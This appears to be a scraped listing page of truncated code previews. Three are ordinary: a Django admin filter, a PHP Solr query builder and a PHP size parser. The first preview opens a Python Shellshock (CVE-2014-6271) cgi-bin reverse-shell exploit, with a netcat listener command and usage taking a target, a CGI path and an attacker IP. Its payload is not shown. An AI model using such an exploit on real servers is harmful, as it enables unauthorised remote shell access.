This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
#CVE-2014-6271 cgi-bin reverse shell | |
#Use netcat -l -p 8080 to receive the reverse shell | |
# | |
import httplib,urllib,sys | |
if (len(sys.argv)<4): | |
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0] | |
print "Example: %s localhost /cgi-bin/test.cgi '10.0.0.1 8080'" % sys.argv[0] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class CategoriaFather(admin.SimpleListFilter): | |
title = 'Categorias' | |
parameter_name = 'parent__id__exact' | |
def lookups(self, request, model_admin): | |
ids = list() | |
names = list() | |
for cat in Categoria().get_roots(): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public function buildQuery($conditions = array()) { | |
$conditions_solr = array(); | |
if (isset($conditions["count"]) && !empty($conditions["count"])) { | |
return "fl=id"; | |
} | |
if (isset($conditions["fields"]) && !empty($conditions["fields"])) { | |
$conditions_solr["fl"] = "fl=" . implode("%2C+", $conditions["fields"]); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public function getSizeBytes($value){ | |
$BYTES = 1024; | |
$mb = array('mb','m'); | |
$kb = array('k','kb'); | |
$gb = array('g','gb'); | |
$tb = array('t','TB'); | |
$formts = array_merge($kb, $mb, $gb, $tb); | |
$greatness = is_string(substr($value, -2, 2)) ? substr($value, -2, 2) : substr($value, -1, 1) ; | |
$size = str_replace($formts,'',$value); | |
switch ($greatness) { |
NewerOlder